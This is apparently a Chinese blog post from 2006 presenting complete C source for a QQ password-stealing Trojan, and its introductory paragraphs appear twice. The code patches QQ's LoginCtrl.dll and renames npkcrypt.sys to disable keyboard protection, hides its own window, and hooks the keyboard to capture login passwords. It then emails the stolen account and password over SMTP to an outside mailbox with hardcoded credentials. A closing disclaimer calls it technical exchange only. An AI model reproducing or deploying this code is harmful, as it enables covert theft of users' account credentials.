宿舍是搬完了,不能上网,这个事情是相当呢郁闷了。。。。
哎。。。。现在在机房,写贴子:
A sample source code about how to program QQ Trojan
呵呵,假期在家里。看看数据结构,看看C++。。。。无聊的时候想起了以前关于QQ的种种东西来^_^!
还记得以前写过些关于初级QQ盗号程序的帖子(自己也只有这个水平- -#),这个假期称着有时间,整理了一下。好了,废话不多说,下面介绍一下这个程序的4个大的部分:
1.Search QQ Directory。这是相当关键的一步,是后来Crack Keyboard Protection的基础。一开始我是用的整个硬盘的递归目录进行查找,貌似速度太慢了0_0!后来改成了从当前QQ进程查找它的目录。当然,这样的话就只能在QQ运行的状态下测试了,否则就得自己在源码里设定QQ的安装路径。
2.Crack Keyboard Protection.以前有写过,这里不再啰嗦。。。。
3.Hook Keyboard.还记得在大一下学期刚开学的时候写了个Win32的Hook机制的文章,那时候也是以QQ为实验对象的^_^!不过当时用的方法太麻烦了,用了个自己写的.dll。后来发现那样不方便,而且自己是在用C(结合Win32 API)写Console的东西,所以就可以自己定义一下控制台的处理。。。。详见源码吧- -!
4.Send Mail。这是最后一步,也是最关键的一步!可惜现在我是技术不过关,用的是SMTP协议进行的发送,这样会被防火墙发现的。。。。哎。。。。
好了,介绍就到这里,下面是源码了:
呵呵,假期在家里。看看数据结构,看看C++。。。。无聊的时候想起了以前关于QQ的种种东西来^_^!
还记得以前写过些关于初级QQ盗号程序的帖子(自己也只有这个水平- -#),这个假期称着有时间,整理了一下。好了,废话不多说,下面介绍一下这个程序的4个大的部分:
1.Search QQ Directory。这是相当关键的一步,是后来Crack Keyboard Protection的基础。一开始我是用的整个硬盘的递归目录进行查找,貌似速度太慢了0_0!后来改成了从当前QQ进程查找它的目录。当然,这样的话就只能在QQ运行的状态下测试了,否则就得自己在源码里设定QQ的安装路径。
2.Crack Keyboard Protection.以前有写过,这里不再啰嗦。。。。
3.Hook Keyboard.还记得在大一下学期刚开学的时候写了个Win32的Hook机制的文章,那时候也是以QQ为实验对象的^_^!不过当时用的方法太麻烦了,用了个自己写的.dll。后来发现那样不方便,而且自己是在用C(结合Win32 API)写Console的东西,所以就可以自己定义一下控制台的处理。。。。详见源码吧- -!
4.Send Mail。这是最后一步,也是最关键的一步!可惜现在我是技术不过关,用的是SMTP协议进行的发送,这样会被防火墙发现的。。。。哎。。。。
好了,介绍就到这里,下面是源码了::-p;
/* 文件名:QQ Keyboard Recorder.c
* 用途:对QQ击键型木马的表面研究
* 完成日期: 2006.8 Ver 0.01
* 作者: 88250
* 联系方式: E-mail: [email protected] \ QQ:845765
*/
#define _WIN32_WINNT 0x0400
#i nclude <io.h>
#i nclude <stdio.h>
#i nclude <stdlib.h>
#i nclude <windows.h>
#i nclude <Tlhelp32.h>
#i nclude <psapi.h>
#define USER_ID 0x0000008A
#define PSW_ID 0x000000B4
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "ws2_32.lib")
char sDirPath[255] = "C:\\Program Files\\QQ";
char sUser[255] = {'U', 's', 'e', 'r', ':', ' '};
char sPsw[255] = {'.', 'P', 's', 'w', 'd', ':', ' '};
char MailData[255] = "From: \"dl88250\"<[email protected]>\r\n"
"Subject: ";
int nPsw = 7;
HWND hLogin = NULL, hUser = NULL, hPsw = NULL, hWnd = NULL;
HWND hSelf = NULL;
DWORD g_tid = 0; /* 当前的线程ID */
HHOOK g_hook = NULL; /* Keyboard Hook Handle */
int KillProcess(char *c1, char *c2)
{
int nSecFlag = 0; /* 关闭成功的标志 */
HANDLE handle = NULL;
PROCESSENTRY32 *info = NULL; /* 进程快照结构体 */
handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
info = (PROCESSENTRY32 *)malloc(sizeof(PROCESSENTRY32));
info->dwSize = sizeof(PROCESSENTRY32);
Process32First(handle, info);
/* 开始枚举当前进程 */
while (Process32Next(handle, info) != FALSE){
info->szExeFile;
if ((0 == strcmp(c1, info->szExeFile)) || (0 == strcmp(c2, info->szExeFile))){
hWnd = (HWND)OpenProcess(PROCESS_TERMINATE, FALSE, info->th32ProcessID);
TerminateProcess(hWnd, 0); /* 结束 */
nSecFlag = 1;
}
}
CloseHandle(handle);
if (1 == nSecFlag){
return 1;
}else{
return 0; /* 结束失败 */
}
}
void SendMail(void)
{
WSADATA wsaData;
WORD wVersionRequested = MAKEWORD(2, 2);
struct hostent *pHostent = NULL;
SOCKET server = INVALID_SOCKET;
struct sockaddr_in service;
char Buffer[1024] = {0};
WSAStartup(wVersionRequested, &wsaData);
server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
pHostent = gethostbyname("smtp.126.com");
service.sin_family = AF_INET;
memcpy(&service.sin_addr.s_addr, pHostent->h_addr_list[0], pHostent->h_length);
service.sin_port = htons(25);
connect(server, (struct sockaddr*)&service, sizeof(service));
recv(server, Buffer, sizeof(Buffer), 0);
send(server, "HELO Server....\r\n", strlen("HELO Server....\r\n"), 0);
recv(server, Buffer, sizeof(Buffer), 0);
send(server, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0);
recv(server, Buffer, sizeof(Buffer), 0);
send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
recv(server, Buffer, sizeof(Buffer), 0);
send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
recv(server, Buffer, sizeof(Buffer), 0);
send(server, "MAIL FROM: <[email protected]>\r\n", strlen("MAIL FROM: <[email protected]>\r\n"), 0);
recv(server, Buffer, sizeof(Buffer), 0);
send(server, "RCPT TO: <[email protected]>\r\n", strlen("RCPT TO: <[email protected]>\r\n"), 0);
recv(server, Buffer, sizeof(Buffer), 0);
send(server, "Data\r\n", strlen("Data\r\n"), 0);
recv(server, Buffer, sizeof(Buffer), 0);
send(server, MailData, strlen(MailData), 0);
recv(server, Buffer, sizeof(Buffer), 0);
send(server, "QUIT\r\n", strlen("QUIT\r\n"), 0);
WSACleanup();
printf("Success!");
ExitProcess(0);
return;
}
/* 处理一下截取的帐号和密码,并整合到邮件主题里 */
void DealWith(void)
{
strcat(MailData, sUser);
strcat(MailData, sPsw);
strcat(MailData, "\r\n.\r\n");
printf("%s", MailData);
SendMail();
return;
}
/* 枚举子窗口,寻找QQ号以及密码的控件Handle */
BOOL CALLBACK EnumChildWndProc (HWND hwnd, LPARAM lParam)
{
long id = GetWindowLong(hwnd, GWL_ID);
if (!hwnd){
return FALSE;
}
if (id == USER_ID){
hUser = hwnd;
}else if (id == PSW_ID){
hPsw = hwnd;
}
return TRUE;
}
/* 定义console的处理函数,用于退出当前的线程,以便Hook */
BOOL CALLBACK con_handler(DWORD g_tid)
{
PostThreadMessage(g_tid, WM_QUIT, 0, 0);
return TRUE;
}
/* 分析键盘按键,这里基本没在做大小写的判定。
× 而且在登录的时候只能用回车。。。。
*/
LRESULT CALLBACK kb_proc(int code, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
if (wParam == WM_KEYDOWN && p->vkCode == VK_RETURN && lParam > 0){
SendMessage(hUser, WM_GETTEXT, 20, (LPARAM)(sUser + 6));
UnhookWindowsHookEx(g_hook);
DealWith(); /* 开始处理截取的数据 */
}
if ((wParam == WM_KEYDOWN) && ((p->vkCode > 47) && (p->vkCode < 58))){
sPsw[nPsw] = p->vkCode;
nPsw++;
goto next;
}
if ((wParam == WM_KEYDOWN) && ((p->vkCode > 64) && (p->vkCode < 91))){
sPsw[nPsw] = p->vkCode + 32;
nPsw++;
goto next;
}
if (((wParam == WM_KEYDOWN) && ((GetKeyState(VK_CAPITAL) & 1) || (GetKeyState(VK_SHIFT) & 1)))
&& (((p->vkCode > 64) && (p->vkCode < 91)))){
sPsw[nPsw] = p->vkCode;
nPsw++;
goto next;
}
next:
return CallNextHookEx(g_hook, code, wParam, lParam);
}
/* 查找需要的句柄, 并开始Hook*/
void Start(void)
{
MSG msg;
if (hLogin = FindWindow("#32770", "QQ用户登录")){
EnumChildWindows(hLogin, EnumChildWndProc, 0);
if (hUser != NULL){
g_tid = GetCurrentThreadId();
SetConsoleCtrlHandler(&con_handler, TRUE);
g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, &kb_proc, GetModuleHandle(NULL),0);
while (GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
return;
}
/* 对QQ:\\LoginCtrl.dll以及npkcrypt.sys文件动点手脚^^,实现破解键盘保护*/
void Crack(void)
{
char crack[1];
char sLCpath[255];
char sNpkcrypt[255], sNpkcryptDL[255];
FILE *f = NULL;
strcpy(sLCpath, sDirPath);
strcpy(sNpkcrypt, sDirPath);
strcat(sNpkcrypt, "\\npkcrypt.sys");
strcpy(sNpkcryptDL, sDirPath);
strcat(sNpkcryptDL, "\\npkcrypt.DL");
rename(sNpkcrypt, sNpkcryptDL);
f = fopen(strcat(sLCpath, "\\LoginCtrl.dll"), "rb+");
if (f == NULL){
return;
}
fseek(f, 63921, SEEK_SET);
crack[0] = 115; // 116 -> 115
fwrite(crack, sizeof(char), 1, f);
fseek(f, 64105, SEEK_SET);
crack[0] = 193; // 194 -> 193
fwrite(crack, sizeof(char), 1, f);
fseek(f, 64135, SEEK_SET);
crack[0] = 158; // 159 -> 158
fwrite(crack, sizeof(char), 1, f);
fclose(f);
return;
}
int main(void)
{
DWORD processid[1024], pBytesReturned[1024], processSum, i;
HANDLE hProcess;
HMODULE hModule;
char path[MAX_PATH] = "";
hSelf = FindWindow("ConsoleWindowClass", NULL); /* 程序自身Handle */
/* 实现自身的伪隐藏 */
SetWindowLong(hSelf, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
SetWindowPos(hSelf, HWND_BOTTOM, 0, 0, 0, 0, SWP_HIDEWINDOW);
/* 枚举当前进程,找到QQ进程后关闭 */
EnumProcesses(processid, sizeof(processid), pBytesReturned);
processSum = *pBytesReturned / sizeof(DWORD);
for (i = 0; i < processSum; i++){
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processid[i]);
if (hProcess){
EnumProcessModules(hProcess, &hModule, sizeof(hModule), pBytesReturned);
GetModuleFileNameEx(hProcess, hModule, path, sizeof(path));
GetShortPathName(path, path, 256);
if (strstr(path, "QQ.exe") || strstr(path, "QQ.EXE")){
strcpy(sDirPath, path);
}
}
}
CloseHandle(hProcess);
CloseHandle(hModule);
*(sDirPath + (strlen(sDirPath) - 6)) = '\0';
for (i = strlen(sDirPath); i > 1; i--){
sDirPath[i+1] = sDirPath[i];
}
sDirPath[++i] = '\\';
Crack();
Start();
Sleep(5000);
if (1 == KillProcess("QQ.EXE", "QQ.exe")){
Crack();
strcpy(path, sDirPath);
strcat(path, "\\QQ.exe");
WinExec(path, SW_SHOW);
}
Crack();
while (TRUE){
Sleep(8); /* 降低CPU占用 */
Start();
}
}
再次申明,这个东西还是有一定有危险性的- -!这里只是技术上的交流,不要乱弄。。。。:=.=!
呵呵。。。。好了,收工了,终于 ^^